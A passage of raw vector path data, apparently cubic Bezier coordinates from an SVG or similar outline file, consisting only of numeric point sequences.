149737.00C126542.04 149715.58 126541.91 149694.16 126542.06 149672.74C126552.71 149629.83 126563.35 149586.91 126574.00 149544.00C126638.33 149501.33 126702.67 149458.67 126767.00 149416.00C126788.33 149416.00 126809.67 149416.00 126831.00 149416.00C126842.00 149405.33 126853.00 149394.67 126864.00 149384.00C126896.23 149394.83 126928.58 149405.36 126960.74 149416.37C126981.82 149426.91 127002.91 149437.45 127024.00 149448.00C127024.00 149458.67 127024.00 149469.33 127024.00 149480.00C127034.67 149480.00 127045.33 149480.00 127056.00 149480.00C127088.33 149512.33 127120.67 149544.67 127153.00 149577.00C127153.00 149598.33 127153.00 149619.67 127153.00 149641.00C127174.33 149641.00 127195.67 149641.00 127217.00 149641.00C127217.00 149651.67 127217.00 149662.33 127217.00 149673.00C127227.67 149662.33 127238.33 149651.67 127249.00 149641.00C127259.67 149641.00 127270.33 149641.00 127281.00 149641.00C127281.00 149673.00 127281.00 149705.00 127281.00 149737.00C127270.33 149737.00 127259.67 149737.00 127249.00 149737.00C127249.00 149758.67 127249.00 149780.33 127249.00 149802.00C127270.67 149780.33 127292.33 149758.67 127314.00 149737.00C127324.67 149715.67 127335.33 149694.33 127346.00 149673.00C127367.33 149651.67 127388.67 149630.33 127410.00 149609.00C127410.00 149598.33 127410.00 149587.67 127410.00 149577.00C127420.67 149577.00 127431.33 149577.00 127442.00 149577.00C127452.67 149598.33 127463.33 149619.67 127474.00 149641.00C127485.00 149641.00 127496.00 149641.00 127507.00 149641.00C127507.00 149608.67 127507.00 149576.33 127507.00 149544.00C127517.67 149533.33 127528.33 149522.67 127539.00 149512.00C127539.00 149490.67 127539.00 149469.33 127539.00 149448.00C127560.33 149448.00 127581.67 149448.00 127603.00 149448.00C127603.00 149426.67 127603.00 149405.33 127603.00 149384.00C127613.67 149373.33 127624.33 149362.67 127635.00 149352.00C127645.67 149373.33 127656.33 149394.67 127667.00 149416.00C127687.79 149436.05 127708.46 149456.22 127728.76 149476.77C127734.15 149480.06 127731.31 149486.76 127732.00 149492.00C127732.00 149498.67 127732.00 149505.33 127732.00 149512.00C127742.67 149512.00 127753.33 149512.00 127764.00 149512.00C127753.33 149522.67 127742.67 149533.33 127732.00 149544.00C127732.00 149555.00 127732.00 149566.00 127732.00 149577.00C127753.33 149587.67 127774.67 149598.33 127796.00 149609.00C127806.67 149609.00 127817.33 149609.00 127828.00 149609.00C127828.00 149619.67 127828.00 149630.33 127828.00 149641.00C127817.33 149651.67 127806.67 149662.33 127796.00 149673.00C127806.67 149705.33 127817.33 149737.67 127828.00 149770.00C127817.33 149791.33 127806.67 149812.67 127796.00 149834.00C127806.67 149844.67 127817.33 149855.33 127828.00 149866.00C127828.00 149876.67 127828.00 149887.33 127828.00 149898.00C127849.33 149930.33 127870.67 149962.67 127892.00 149995.00C127892.00 150005.67 127892.00 150016.33 127892.00 150027.00C127913.67 150048.33 127935.33 150069.67 127957.00 150091.00C127957.00 150101.67 127957.00 150112.33 127957.00 150123.00C127991.66 150140.33 128026.40 150157.53 128060.74 150175.49C128068.83 150179.66 128076.91 150183.83 128085.00 150188.00C128074.33 150198.67 128063.67 150209.33 128053.00 150220.00C128042.33 150220.00 128031.67 150220.00 128021.00 150220.00C128021.00 150241.33 128021.00 150262.67 128021.00 150284.00C128010.33 150305.33 127999.67 150326.67 127989.00 150348.00C127956.67 150358.67 127924.33 150369.33 127892.00 150380.00C127903.00 150401.67 127914.00 150423.33 127925.00 150445.00C127946.33 150455.67 127967.67 150466.33 127989.00 150477.00C128010.33 150477.00 128031.67 150477.00 128053.00 150477.00C128063.67 150498.33 128074.33 150519.67 128085.00 150541.00C128096.05 150551.91 128106.83 150563.10 128118.05 150573.83C128171.36 150616.56 128224.68 150659.28 128278.00 150702.00C128321.10 150680.87 128364.11 150659.55 128407.00 150638.00C128417.67 150648.67 128428.33 150659.33 128439.00 150670.00C128449.67 150659.33 128460.33 150648.67 128471.00 150638.00C128492.67 150638.00 128514.33 150638.00 128536.00 150638.00C128536.00 150605.67 128536.00 150573.33 128536.00 150541.00C128557.33 150551.67 128578.67 150562.33 128600.00 150573.00C128610.67 150562.33 128621.33 150551.67 128632.00 150541.00C128653.33 150541.00 128674.67 150541.00 128696.00 150541.00C128685.33 150551.67 128674.67 150562.33 128664.00 150573.00C128674.67 150584.00 128685.33 150595.00 128696.00 150606.00C128599.45 150691.91 128502.80 150777.71 128406.31 150863.69C128385.21 150884.79 128364.10 150905.90 128343.00 150927.00C128343.00 150948.33 128343.00 150969.67 128343.00 150991.00C128353.67 150991.00 128364.33 150991.00 128375.00 150991.00C128363.95 151001.91 128353.17 151013.10 128341.95 151023.83C128288.58 151066.63 128235.15 151109.36 128181.81 151152.19C128149.54 151184.46 128117.27 151216.73 128085.00 151249.00C128042.08 151313.63 127999.32 151378.37 127956.30 151442.93C127924.19 151485.28 127892.10 151527.65 127860.00 151570.00C127849.33 151623.67 127838.67 151677.33 127828.00 151731.00C127817.33 151741.67 127806.67 151752.33 127796.00 151763.00C127774.58 151763.04 127753.16 151762.91 127731.74 151763.06C127688.83 151773.71 127645.91 151784.35 127603.00 151795.00C127560.00 151816.33 127517.00 151837.67 127474.00 151859.00C127431.33 151870.00 127388.67 151881.00 127346.00 151892.00C127399.67 151924.00 127453.33 151956.00 127507.00 151988.00C127485.33 152041.67 127463.67 152095.33 127442.00 152149.00C127431.33 152149.00 127420.67 152149.00 127410.00 152149.00C127410.00 152181.00 127410.00 152213.00 127410.00 152245.00C127399.33 152245.00 127388.67 152245.00 127378.00 152245.00C127367.33 152256.00 127356.67 152267.00 127346.00 152278.00C127335.33 152299.33 127324.67 152320.67 127314.00 152342.00C127249.67 152342.00 127185.33 152342.00 127121.00 152342.00C127088.67 152352.67 127056.33 152363.33 127024.00 152374.00C126970.67 152417.00 126917.33 152460.00 126864.00 152503.00C126821.00 152556.33 126778.00 152609.67 126735.00 152663.00C126681.23 152759.81 126627.52 152856.66 126573.72 152953.46C126488.15 153092.64 126402.57 153231.82 126317.00 153371.00C126306.33 153435.33 126295.67 153499.67 126285.00 153564.00C126285.00 153585.33 126285.00 153606.67 126285.00 153628.00C126274.33 153617.33 126263.67 153606.67 126253.00 153596.00C126242.00 153606.67 126231.00 153617.33 126220.00 153628.00C126198.67 153638.67 126177.33 153649.33 126156.00 153660.00C126156.00 153681.33 126156.00 153702.67 126156.00 153724.00C126145.33 153745.67 126134.67 153767.33 126124.00 153789.00C126134.67 153799.67 126145.33 153810.33 126156.00 153821.00C126134.67 153864.00 126113.33 153907.00 126092.00 153950.00C126070.67 154025.00 126049.33 154100.00 126028.00 154175.00C126017.00 154185.67 126006.00 154196.33 125995.00 154207.00C126006.00 154217.67 126017.00 154228.33 126028.00 154239.00C126017.00 154239.00 126006.00 154239.00 125995.00 154239.00C125984.33 154249.67 125973.67 154260.33 125963.00 154271.00C125952.33 154260.33 125941.67 154249.67 125931.00 154239.00C125931.00 154249.67 125931.00 154260.33 125931.00 154271.00C125909.67 154271.00 125888.33 154271.00 125867.00 154271.00C125867.00 154260.33 125867.00 154249.67 125867.00 154239.00C125856.33 154239.00 125845.67 154239.00 125835.00 154239.00C125835.00 154228.33 125835.00 154217.67 125835.00 154207.00C125818.07 154190.55 125800.92 154174.31 125784.70 154157.15C125779.80 154152.10 125774.90 154147.05 125770.00 154142.00C125738.00 154163.67 125706.00 154185.33 125674.00 154207.00C125674.00 154217.67 125674.00 154228.33 125674.00 154239.00C125652.67 154239.00 125631.33 154239.00 125610.00 154239.00C125610.00 154249.67 125610.00 154260.33 125610.00 154271.00C125159.67 154271.00 124709.33 154271.00 124259.00 154271.00C124280.33 154281.67 124301.67 154292.33 124323.00 154303.00C124301.67 154303.00 124280.33 154303.00 124259.00 154303.00C124259.00 154292.33 124259.00 154281.67 124259.00 154271.00C124248.33 154271.00 124237.67 154271.00 124227.00 154271.00C124205.67 154292.33 124184.33 154313.67 124163.00 154335.00C124163.00 154345.67 124163.00 154356.33 124163.00 154367.00C124152.33 154367.00 124141.67 154367.00 124131.00 154367.00C124120.00 154378.00 124109.00 154389.00 124098.00 154400.00C124087.33 154400.00 124076.67 154400.00 124066.00 154400.00C124066.00 154410.67 124066.00 154421.33 124066.00 154432.00C124034.00 154432.00 124002.00 154432.00 123970.00 154432.00C123959.33 154410.33 123948.67 154388.67 123938.00 154367.00C123927.00 154367.00 123916.00 154367.00 123905.00 154367.00C123894.33 154388.67 123883.67 154410.33 123873.00 154432.00C123862.33 154432.00 123851.67 154432.00 123841.00 154432.00C123830.33 154442.67 123819.67 154453.33 123809.00 154464.00C123787.67 154442.67 123766.33 154421.33 123745.00 154400.00C123745.00 154378.33 123745.00 154356.67 123745.00 154335.00C123734.00 154345.67 123723.00 154356.33 123712.00 154367.00C123690.67 154367.00 123669.33 154367.00 123648.00 154367.00C123648.00 154378.00 123648.00 154389.00 123648.00 154400.00C123637.33 154400.00 123626.67 154400.00 123616.00 154400.00C123605.33 154378.33 123594.67 154356.67 123584.00 154335.00C123573.33 154345.67 123562.67 154356.33 123552.00 154367.00C123530.33 154356.33 123508.67 154345.67 123487.00 154335.00C123476.33 154345.67 123465.67 154356.33 123455.00 154367.00C123465.67 154367.00 123476.33 154367.00 123487.00 154367.00C123476.33 154367.00 123465.67 154367.00 123455.00 154367.00C123444.33 154388.67 123433.67 154410.33 123423.00 154432.00C123423.00 154421.33 123423.00 154410.67 123423.00 154400.00C123412.33 154400.00 123401.67 154400.00 123391.00 154400.00C123391.00 154410.67 123391.00 154421.33 123391.00 154432.00C123380.33 154421.33 123369.67 154410.67 123359.00 154400.00C123348.33 154400.00 123337.67 154400.00 123327.00 154400.00C123316.33 154389.00 123305.67 154378.00 123295.00 154367.00C123284.00 154367.00 123273.00 154367.00 123262.00 154367.00C123251.33 154378.00 123240.67 154389.00 123230.00 154400.00C123208.67 154400.00 123187.33 154400.00 123166.00 154400.00C123166.00 154410.67 123166.00 154421.33 123166.00 154432.00C123144.67 154432.00 123123.33 154432.00 123102.00 154432.00C123091.00 154442.67 123080.00 154453.33 123069.00 154464.00C123047.67 154474.67 123026.33 154485.33 123005.00 154496.00C122983.67 154496.00 122962.33 154496.00 122941.00 154496.00C122951.67 154506.67 122962.33 154517.33 122973.00 154528.00C122962.33 154538.67 122951.67 154549.33 122941.00 154560.00C122919.67 154571.00 122898.33 154582.00 122877.00 154593.00C122877.00 154625.00 122877.00 154657.00 122877.00 154689.00C122855.33 154689.00 122833.67 154689.00 122812.00 154689.00C122822.67 154689.00 122833.33 154689.00 122844.00 154689.00C122833.33 154699.67 122822.67 154710.33 122812.00 154721.00C122812.00 154731.67 122812.00 154742.33 122812.00 154753.00C122801.33 154742.33 122790.67 154731.67 122780.00 154721.00C122780.00 154731.67 122780.00 154742.33 122780.00 154753.00C122769.33 154742.33 122758.67 154731.67 122748.00 154721.00C122737.33 154721.00 122726.67 154721.00 122716.00 154721.00C122705.33 154731.67 122694.67 154742.33 122684.00 154753.00C122684.00 154763.67 122684.00 154774.33 122684.00 154785.00C122694.67 154796.00 122705.33 154807.00 122716.00 154818.00C122705.33 154818.00 122694.67 154818.00 122684.00 154818.00C122694.67 154818.00 122705.33 154818.00 122716.00 154818.00C122716.00 154828.67 122716.00 154839.33 122716.00 154850.00C122694.33 154850.00 122672.67 154850.00 122651.00 154850.00C122662.00 154860.67 122673.00 154871.33 122684.00 154882.00C122673.00 154892.67 122662.00 154903.33 122651.00 154914.00C122651.00 154903.33 122651.00 154892.67 122651.00 154882.00C122629.67 154882.00 122608.33 154882.00 122587.00 154882.00C122555.00 154903.33 122523.00 154924.67 122491.00 154946.00C122480.33 154956.67 122469.67 154967.33 122459.00 154978.00C122448.00 154978.00 122437.00 154978.00 122426.00 154978.00C122426.00 154989.00 122426.00 155000.00 122426.00 155011.00C122415.33 155011.00 122404.67 155011.00 122394.00 155011.00C122394.00 155021.67 122394.00 155032.33 122394.00 155043.00C122383.33 155032.33 122372.67 155021.67 122362.00 155011.00C122372.67 155021.67 122383.33 155032.33 122394.00 155043.00C122383.33 155043.00 122372.67 155043.00 122362.00 155043.00C122362.00 155053.67 122362.00 155064.33 122362.00 155075.00C122351.33 155075.00 122340.67 155075.00 122330.00 155075.00C122330.00 155085.67 122330.00 155096.33 122330.00 155107.00C122297.67 155107.00 122265.33 155107.00 122233.00 155107.00C122233.00 155117.67 122233.00 155128.33 122233.00 155139.00C122222.33 155128.33 122211.67 155117.67 122201.00 155107.00C122201.00 155096.33 122201.00 155085.67 122201.00 155075.00C122190.33 155096.33 122179.67 155117.67 122169.00 155139.00C122147.67 155128.33 122126.33 155117.67 122105.00 155107.00C122105.00 155128.33 122105.00 155149.67 122105.00 155171.00C122105.00 155160.33 122105.00 155149.67 122105.00 155139.00C122094.33 155149.67 122083.67 155160.33 122073.00 155171.00C122062.33 155171.00 122051.67 155171.00 122041.00 155171.00C122030.00 155181.67 122019.00 155192.33 122008.00 155203.00C122008.00 155181.67 122008.00 155160.33 122008.00 155139.00C121976.00 155139.00 121944.00 155139.00 121912.00 155139.00C121901.33 155160.33 121890.67 155181.67 121880.00 155203.00C121858.33 155224.67 121836.67 155246.33 121815.00 155268.00C121804.33 155257.33 121793.67 155246.67 121783.00 155236.00C121783.00 155246.67 121783.00 155257.33 121783.00 155268.00C121772.33 155278.67 121761.67 155289.33 121751.00 155300.00C121761.67 155300.00 121772.33 155300.00 121783.00 155300.00C121772.33 155310.67 121761.67 155321.33 121751.00 155332.00C121740.33 155332.00 121729.67 155332.00 121719.00 155332.00C121729.67 155353.33 121740.33 155374.67 121751.00 155396.00C121751.00 155385.33 121751.00 155374.67 121751.00 155364.00C121751.00 155374.67 121751.00 155385.33 121751.00 155396.00C121740.33 155407.00 121729.67 155418.00 121719.00 155429.00C121708.33 155429.00 121697.67 155429.00 121687.00 155429.00C121687.00 155439.67 121687.00 155450.33 121687.00 155461.00C121676.33 155450.33 121665.67 155439.67 121655.00 155429.00C121644.33 155439.67 121633.67 155450.33 121623.00 155461.00C121612.00 155450.33 121601.00 155439.67 121590.00 155429.00C121590.00 155439.67 121590.00 155450.33 121590.00 155461.00C121579.33 155439.33 121568.67 155417.67 121558.00 155396.00C121547.33 155396.00 121536.67 155396.00 121526.00 155396.00C121526.00 155407.00 121526.00 155418.00 121526.00 155429.00C121536.67 155439.67 121547.33 155450.33 121558.00 155461.00C121526.00 155461.00 121494.00 155461.00 121462.00 155461.00C121472.67 155461.00 121483.33 155461.00 121494.00 155461.00C121483.33 155482.33 121472.67 155503.67 121462.00 155525.00C121440.33 155514.33 121418.67 155503.67 121397.00 155493.00C121375.67 155460.67 121354.33 155428.33 121333.00 155396.00C121333.00 155417.67 121333.00 155439.33 121333.00 155461.00C121322.33 155461.00 121311.67 155461.00 121301.00 155461.00C121301.00 155450.33 121301.00 155439.67 121301.00 155429.00C121279.67 155429.00 121258.33 155429.00 121237.00 155429.00C121237.00 155439.67 121237.00 155450.33 121237.00 155461.00C121226.33 155439.33 121215.67 155417.67 121205.00 155396.00C121194.00 155396.00 121183.00 155396.00 121172.00 155396.00C121172.00 155385.33 121172.00 155374.67 121172.00 155364.00C121172.00 155374.67 121172.00 155385.33 121172.00 155396.00C121161.33 155396.00 121150.67 155396.00 121140.00 155396.00C121118.67 155385.33 121097.33 155374.67 121076.00 155364.00C121086.67 155353.33 121097.33 155342.67 121108.00 155332.00C121108.00 155310.67 121108.00 155289.33 121108.00 155268.00C121097.33 155268.00 121086.67 155268.00 121076.00 155268.00C121076.00 155289.33 121076.00 155310.67 121076.00 155332.00C121054.67 155342.67 121033.33 155353.33 121012.00 155364.00C121012.00 155342.67 121012.00 155321.33 121012.00 155300.00C121001.00 155300.00 120990.00 155300.00 120979.00 155300.00C120979.00 155289.33 120979.00 155278.67 120979.00 155268.00C120968.33 155268.00 120957.67 155268.00 120947.00 155268.00C120947.00 155278.67 120947.00 155289.33 120947.00 155300.00C120936.33 155289.33 120925.67 155278.67 120915.00 155268.00C120904.33 155278.67 120893.67 155289.33 120883.00 155300.00C120872.33 155289.33 120861.67 155278.67 120851.00 155268.00C120840.33 155268.00 120829.67 155268.00 120819.00 155268.00C120840.33 155246.33 120861.67 155224.67 120883.00 155203.00C120861.67 155203.00 120840.33 155203.00 120819.00 155203.00C120808.33 155181.67 120797.67 155160.33 120787.00 155139.00C120765.33 155128.33 120743.67 155117.67 120722.00 155107.00C120700.67 155128.33 120679.33 155149.67 120658.00 155171.00C120647.33 155171.00 120636.67 155171.00 120626.00 155171.00C120615.33 155149.67 120604.67 155128.33 120594.00 155107.00C120615.33 155085.67 120636.67 155064.33 120658.00 155043.00C120615.00 155043.00 120572.00 155043.00 120529.00 155043.00C120529.00 155010.67 120529.00 154978.33 120529.00 154946.00C120507.67 154935.33 120486.33 154924.67 120465.00 154914.00C120454.33 154892.67 120443.67 154871.33 120433.00 154850.00C120422.33 154850.00 120411.67 154850.00 120401.00 154850.00C120401.00 154860.67 120401.00 154871.33 120401.00 154882.00C120411.67 154882.00 120422.33 154882.00 120433.00 154882.00C120433.00 154903.33 120433.00 154924.67 120433.00 154946.00C120422.33 154946.00 120411.67 154946.00 120401.00 154946.00C120390.33 154914.00 120379.67 154882.00 120369.00 154850.00C120358.00 154860.67 120347.00 154871.33 120336.00 154882.00C120336.00 154892.67 120336.00 154903.33 120336.00 154914.00C120314.67 154903.33 120293.33 154892.67 120272.00 154882.00C120261.33 154849.67 120250.67 154817.33 120240.00 154785.00C120229.33 154796.00 120218.67 154807.00 120208.00 154818.00C120197.33 154818.00 120186.67 154818.00 120176.00 154818.00C120165.33 154796.33 120154.67 154774.67 120144.00 154753.00C120144.00 154731.67 120144.00 154710.33 120144.00 154689.00C120133.00 154699.67 120122.00 154710.33 120111.00 154721.00C120100.33 154721.00 120089.67 154721.00 120079.00 154721.00C120100.67 154710.33 120122.33 154699.67 120144.00 154689.00C120144.00 154667.67 120144.00 154646.33 120144.00 154625.00C120133.00 154614.33 120122.00 154603.67 120111.00 154593.00C120111.00 154614.33 120111.00 154635.67 120111.00 154657.00C120100.33 154657.00 120089.67 154657.00 120079.00 154657.00C120068.33 154646.33 120057.67 154635.67 120047.00 154625.00C120036.33 154625.00 120025.67 154625.00 120015.00 154625.00C119994.57 154604.69 119974.27 154584.24 119954.33 154563.44C119951.33 154561.27 119950.40 154559.12 119954.00 154557.00C119963.67 154547.33 119973.33 154537.67 119983.00 154528.00C119940.00 154517.33 119897.00 154506.67 119854.00 154496.00C119843.33 154506.67 119832.67 154517.33 119822.00 154528.00C119800.67 154506.67 119779.33 154485.33 119758.00 154464.00C119725.67 154474.67 119693.33 154485.33 119661.00 154496.00C119650.33 154485.33 119639.67 154474.67 119629.00 154464.00C119639.67 154453.33 119650.33 154442.67 119661.00 154432.00C119650.33 154421.33 119639.67 154410.67 119629.00 154400.00C119607.67 154410.67 119586.33 154421.33 119565.00 154432.00C119554.33 154442.67 119543.67 154453.33 119533.00 154464.00C119554.33 154474.67 119575.67 154485.33 119597.00 154496.00C119554.00 154539.00 119511.00 154582.00 119468.00 154625.00C119478.67 154603.33 119489.33 154581.67 119500.00 154560.00C119500.00 154528.00 119500.00 154496.00 119500.00 154464.00C119489.33 154453.33 119478.67 154442.67 119468.00 154432.00C119436.00 154421.33 119404.00 154410.67 119372.00 154400.00C119372.00 154410.67 119372.00 154421.33 119372.00 154432.00C119350.67 154432.00 119329.33 154432.00 119308.00 154432.00C119308.00 154442.67 119308.00 154453.33 119308.00 154464.00C119318.67 154485.33 119329.33 154506.67 119340.00 154528.00C119329.33 154538.67 119318.67 154549.33 119308.00 154560.00C119275.67 154538.67 119243.33 154517.33 119211.00 154496.00C119189.67 154496.00 119168.33 154496.00 119147.00 154496.00C119125.33 154506.67 119103.67 154517.33 119082.00 154528.00C119060.67 154528.00 119039.33 154528.00 119018.00 154528.00C119007.33 154538.67 118996.67 154549.33 118986.00 154560.00C118986.00 154571.00 118986.00 154582.00 118986.00 154593.00C118985.94 154581.92 118986.11 154570.83 118985.92 154559.75C118975.28 154527.83 118964.64 154495.92 118954.00 154464.00C118943.33 154496.00 118932.67 154528.00 118922.00 154560.00C118889.67 154581.67 118857.33 154603.33 118825.00 154625.00C118814.33 154614.33 118803.67 154603.67 118793.00 154593.00C118782.33 154614.33 118771.67 154635.67 118761.00 154657.00C118739.67 154624.67 118718.33 154592.33 118697.00 154560.00C118675.33 154581.67 118653.67 154603.33 118632.00 154625.00C118632.06 154614.25 118631.89 154603.50 118632.08 154592.75C118642.72 154560.50 118653.36 154528.25 118664.00 154496.00C118653.33 154485.33 118642.67 154474.67 118632.00 154464.00C118610.67 154474.67 118589.33 154485.33 118568.00 154496.00C118557.33 154485.33 118546.67 154474.67 118536.00 154464.00C118514.67 154485.33 118493.33 154506.67 118472.00 154528.00C118482.67 154528.00 118493.33 154528.00 118504.00 154528.00C118514.67 154538.67 118525.33 154549.33 118536.00 154560.00C118546.67 154560.00 118557.33 154560.00 118568.00 154560.00C118568.00 154549.33 118568.00 154538.67 118568.00 154528.00C118578.67 154538.67 118589.33 154549.33 118600.00 154560.00C118589.33 154581.67 118578.67 154603.33 118568.00 154625.00C118536.00 154657.00 118504.00 154689.00 118472.00 154721.00C118461.00 154710.33 118450.00 154699.67 118439.00 154689.00C118439.00 154678.33 118439.00 154667.67 118439.00 154657.00C118417.67 154657.00 118396.33 154657.00 118375.00 154657.00C118364.33 154646.33 118353.67 154635.67 118343.00 154625.00C118332.33 154625.00 118321.67 154625.00 118311.00 154625.00C118300.33 154635.67 118289.67 154646.33 118279.00 154657.00C118268.00 154635.67 118257.00 154614.33 118246.00 154593.00C118246.00 154571.33 118246.00 154549.67 118246.00 154528.00C118214.00 154517.33 118182.00 154506.67 118150.00 154496.00C118150.00 154528.33 118150.00 154560.67 118150.00 154593.00C118128.67 154582.00 118107.33 154571.00 118086.00 154560.00C118064.25 154571.02 118042.54 154582.13 118020.75 154593.08C117988.83 154603.72 117956.92 154614.36 117925.00 154625.00C117892.67 154646.33 117860.33 154667.67 117828.00 154689.00C117828.00 154710.33 117828.00 154731.67 117828.00 154753.00C117806.67 154753.00 117785.33 154753.00 117764.00 154753.00C117774.67 154774.67 117785.33 154796.33 117796.00 154818.00C117796.00 154828.67 117796.00 154839.33 117796.00 154850.00C117785.33 154860.67 117774.67 154871.33 117764.00 154882.00C117774.67 154892.67 117785.33 154903.33 117796.00 154914.00C117796.00 154924.67 117796.00 154935.33 117796.00 154946.00C117785.33 154946.00 117774.67 154946.00 117764.00 154946.00C117764.00 154956.67 117764.00 154967.33 117764.00 154978.00C117785.33 154978.00 117806.67 154978.00 117828.00 154978.00C117828.00 154989.00 117828.00 155000.00 117828.00 155011.00C117817.33 155000.00 117806.67 154989.00 117796.00 154978.00C117785.33 154989.00 117774.67 155000.00 117764.00 155011.00C117753.33 155000.00 117742.67 154989.00 117732.00 154978.00C117710.67 154967.33 117689.33 154956.67 117668.00 154946.00C117657.33 154935.33 117646.67 154924.67 117636.00 154914.00C117636.00 154903.33 117636.00 154892.67 117636.00 154882.00C117625.00 154892.67 117614.00 154903.33 117603.00 154914.00C117603.00 154903.33 117603.00 154892.67 117603.00 154882.00C117614.00 154860.67 117625.00 154839.33 117636.00 154818.00C117625.00 154796.33 117614.00 154774.67 117603.00 154753.00C117549.67 154721.00 117496.33 154689.00 117443.00 154657.00C117443.00 154646.33 117443.00 154635.67 117443.00 154625.00C117432.00 154635.67 117421.00 154646.33 117410.00 154657.00C117367.33 154657.00 117324.67 154657.00 117282.00 154657.00C117271.33 154635.67 117260.67 154614.33 117250.00 154593.00C117239.00 154582.00 117228.00 154571.00 117217.00 154560.00C117228.00 154549.33 117239.00 154538.67 117250.00 154528.00C117228.33 154517.33 117206.67 154506.67 117185.00 154496.00C117185.00 154506.67 117185.00 154517.33 117185.00 154528.00C117185.00 154517.33 117185.00 154506.67 117185.00 154496.00C117163.67 154496.00 117142.33 154496.00 117121.00 154496.00C117121.00 154485.33 117121.00 154474.67 117121.00 154464.00C117110.33 154464.00 117099.67 154464.00 117089.00 154464.00C117089.00 154485.33 117089.00 154506.67 117089.00 154528.00C117078.33 154517.33 117067.67 154506.67 117057.00 154496.00C117067.67 154496.00 117078.33 154496.00 117089.00 154496.00C117067.67 154496.00 117046.33 154496.00 117025.00 154496.00C117014.00 154485.33 117003.00 154474.67 116992.00 154464.00C116981.33 154474.67 116970.67 154485.33 116960.00 154496.00C116949.33 154485.33 116938.67 154474.67 116928.00 154464.00C116863.78 154496.22 116799.36 154528.05 116735.00 154560.00C116735.00 154528.00 116735.00 154496.00 116735.00 154464.00C116724.33 154464.00 116713.67 154464.00 116703.00 154464.00C116692.33 154431.67 116681.67 154399.33 116671.00 154367.00C116660.33 154367.00 116649.67 154367.00 116639.00 154367.00C116606.67 154399.33 116574.33 154431.67 116542.00 154464.00C116542.00 154496.00 116542.00 154528.00 116542.00 154560.00C116552.67 154571.00 116563.33 154582.00 116574.00 154593.00C116585.00 154593.00 116596.00 154593.00 116607.00 154593.00C116628.33 154582.00 116649.67 154571.00 116671.00 154560.00C116692.33 154560.00 116713.67 154560.00 116735.00 154560.00C116735.00 154581.67 116735.00 154603.33 116735.00 154625.00C116724.33 154635.67 116713.67 154646.33 116703.00 154657.00C116692.25 154657.06 116681.50 154656.89 116670.75 154657.08C116638.50 154667.72 116606.25 154678.36 116574.00 154689.00C116552.58 154688.96 116531.16 154689.09 116509.74 154688.94C116467.16 154678.29 116424.58 154667.65 116382.00 154657.00C116360.33 154678.33 116338.67 154699.67 116317.00 154721.00C116306.33 154742.33 116295.67 154763.67 116285.00 154785.00C116263.67 154806.67 116242.33 154828.33 116221.00 154850.00C116242.33 154892.67 116263.67 154935.33 116285.00 154978.00C116274.33 154978.00 116263.67 154978.00 116253.00 154978.00C116242.33 154989.00 116231.67 155000.00 116221.00 155011.00C116199.33 155021.67 116177.67 155032.33 116156.00 155043.00C116145.33 155053.67 116134.67 155064.33 116124.00 155075.00C116113.22 155096.47 116102.58 155118.02 116091.71 155139.45C116070.47 155171.63 116049.24 155203.82 116028.00 155236.00C116017.33 155246.67 116006.67 155257.33 115996.00 155268.00C115953.00 155289.33 115910.00 155310.67 115867.00 155332.00C115899.33 155396.33 115931.67 155460.67 115964.00 155525.00C115953.00 155535.67 115942.00 155546.33 115931.00 155557.00C115888.33 155557.00 115845.67 155557.00 115803.00 155557.00C115803.00 155525.00 115803.00 155493.00 115803.00 155461.00C115792.33 155450.33 115781.67 155439.67 115771.00 155429.00C115706.67 155439.67 115642.33 155450.33 115578.00 155461.00C115558.45 155480.66 115538.79 155500.22 115518.78 155519.41C115515.71 155522.33 115512.88 155525.65 115508.78 155527.11C115488.85 155537.08 115468.92 155547.03 115449.00 155557.00C115438.33 155589.33 115427.67 155621.67 115417.00 155654.00C115406.33 155664.67 115395.67 155675.33 115385.00 155686.00C115374.14 155674.98 115362.97 155664.26 115352.30 155653.07C115320.20 155610.38 115288.10 155567.69 115256.00 155525.00C115245.33 155525.00 115234.67 155525.00 115224.00 155525.00C115202.52 155589.28 115181.16 155653.61 115160.00 155718.00C115149.33 155728.67 115138.67 155739.33 115128.00 155750.00C115095.67 155750.00 115063.33 155750.00 115031.00 155750.00C115031.00 155696.33 115031.00 155642.67 115031.00 155589.00C114999.00 155557.00 114967.00 155525.00 114935.00 155493.00C114924.33 155493.00 114913.67 155493.00 114903.00 155493.00C114892.00 155503.67 114881.00 155514.33 114870.00 155525.00C114891.67 155568.00 114913.33 155611.00 114935.00 155654.00C114924.33 155675.33 114913.67 155696.67 114903.00 155718.00C114892.00 155718.00 114881.00 155718.00 114870.00 155718.00C114859.33 155696.67 114848.67 155675.33 114838.00 155654.00C114806.00 155654.00 114774.00 155654.00 114742.00 155654.00C114742.00 155621.67 114742.00 155589.33 114742.00 155557.00C114709.67 155535.67 114677.33 155514.33 114645.00 155493.00C114634.33 155482.33 114623.67 155471.67 114613.00 155461.00C114527.33 155493.00 114441.67 155525.00 114356.00 155557.00C114345.25 155546.30 114334.60 155535.49 114323.78 155524.85C114291.52 155503.57 114259.26 155482.28 114227.00 155461.00C114216.33 155493.00 114205.67 155525.00 114195.00 155557.00C114184.33 155557.00 114173.67 155557.00 114163.00 155557.00C114163.00 155578.33 114163.00 155599.67 114163.00 155621.00C114143.66 155641.04 114124.23 155660.99 114104.44 155680.59C114101.59 155683.31 114099.07 155686.55 114095.22 155687.86C114074.81 155697.91 114054.41 155707.95 114034.00 155718.00C114012.67 155718.00 113991.33 155718.00 113970.00 155718.00C113970.00 155728.67 113970.00 155739.33 113970.00 155750.00C113959.33 155750.00 113948.67 155750.00 113938.00 155750.00C113927.33 155739.33 113916.67 155728.67 113906.00 155718.00C113884.33 155728.67 113862.67 155739.33 113841.00 155750.00C113841.00 155760.67 113841.00 155771.33 113841.00 155782.00C113830.33 155782.00 113819.67 155782.00 113809.00 155782.00C113787.67 155792.67 113766.33 155803.33 113745.00 155814.00C113702.00 155814.00 113659.00 155814.00 113616.00 155814.00C113605.33 155835.67 113594.67 155857.33 113584.00 155879.00C113573.33 155889.67 113562.67 155900.33 113552.00 155911.00C113520.00 155921.67 113488.00 155932.33 113456.00 155943.00C113456.00 155953.67 113456.00 155964.33 113456.00 155975.00C113445.00 155975.00 113434.00 155975.00 113423.00 155975.00C113412.33 155996.33 113401.67 156017.67 113391.00 156039.00C113401.67 156039.00 113412.33 156039.00 113423.00 156039.00C113423.00 156050.00 113423.00 156061.00 113423.00 156072.00C113401.67 156093.33 113380.33 156114.67 113359.00 156136.00C113380.33 156157.33 113401.67 156178.67 113423.00 156200.00C113391.00 156210.67 113359.00 156221.33 113327.00 156232.00C113316.33 156242.67 113305.67 156253.33 113295.00 156264.00C113295.00 156285.67 113295.00 156307.33 113295.00 